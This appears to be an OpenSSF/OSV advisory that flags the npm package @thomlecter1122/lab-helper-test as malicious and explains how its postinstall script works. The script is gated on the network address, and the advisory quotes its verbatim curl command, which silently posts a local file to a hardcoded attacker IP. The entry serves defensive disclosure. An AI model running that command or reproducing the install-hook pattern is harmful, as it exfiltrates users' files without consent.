OpenSSF/OSV advisory MAL-2026-5534 confirms this npm version as malicious. The package ships a `postinstall` lifecycle script (`sec_check.js`) that fires automatically on `npm install`. The script first checks whether the host has a non-internal IPv4 address beginning with `192.` (a network-environment gate that hides the behavior from developer laptops and CI on other subnets), and if so executes `curl -X POST http://18.175.63.47:8080/collect --data-binary "@${INIT_CWD}/myfile.txt"` via...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @thomlecter1122/lab-helper-test (npm)
Details
The package ships a `postinstall` lifecycle script (`sec_check.js`) that fires automatically on `npm install`. The script first checks whether the host has a non-internal IPv4 address beginning with `192.` (a network-environment gate that hides the behavior from developer laptops and CI on other subnets), and if so executes `curl -X POST http://18.175.63.47:8080/collect --data-binary "@${INIT_CWD}/myfile.txt"` via `child_process.execSync` with stdio suppressed. This reads a file from the installer's working directory and ships it over plain HTTP to a hardcoded bare-IP attacker host with no consent and no error surfacing. The combination of automatic lifecycle execution, environment-gated activation, hardcoded bare-IP C2, and silent error handling is a textbook exfiltration dropper.
Decision reason
OSV/OpenSSF confirms @thomlecter1122/lab-helper-test@0.0.16 as malicious package MAL-2026-5534. Malicious code in @thomlecter1122/lab-helper-test (npm)